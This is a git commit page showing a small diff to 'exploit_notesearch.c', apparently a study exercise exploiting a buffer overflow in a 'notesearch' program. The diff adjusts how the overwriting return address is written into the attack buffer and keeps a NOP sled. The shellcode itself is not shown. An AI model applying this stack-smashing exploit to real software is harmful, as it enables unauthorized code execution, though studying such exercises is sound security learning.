diff options
| author | mo khan <mo@mokhan.ca> | 2014-07-27 21:01:50 -0600 |
|---|---|---|
| committer | mo khan <mo@mokhan.ca> | 2014-07-27 21:01:50 -0600 |
| commit | 63848fcba6bc44b35c05e48450c4f55d0b1629d9 (patch) | |
| tree | d7d9789d6f8fc8c36429294115b0f28111fe4ceb /exploit_notesearch.c | |
| parent | 5ed723213a95cc124a4feae55bf9daf514f6e102 (diff) | |
increment by 8 bytes.
Diffstat (limited to 'exploit_notesearch.c')
| -rw-r--r-- | exploit_notesearch.c | 7 |
1 files changed, 4 insertions, 3 deletions
diff --git a/exploit_notesearch.c b/exploit_notesearch.c index 111a781..815ea11 100644 --- a/exploit_notesearch.c +++ b/exploit_notesearch.c @@ -9,7 +9,8 @@ char shellcode[]= int main(int argc, const char *argv[]) { - unsigned long i, *ptr, ret, offset=270; + unsigned int i, *ptr, offset=270; + unsigned long ret; char *command, *buffer; command = (char *) malloc(200); @@ -23,8 +24,8 @@ int main(int argc, const char *argv[]) ret = (unsigned long) &i - offset; - for (i = 0; i < 160; i++) { - *((unsigned int *)(buffer+i)) = ret; + for (i = 0; i < 160; i += 8) { + *((unsigned long *)(buffer + i)) = ret; } memset(buffer, 0x90, 60); |
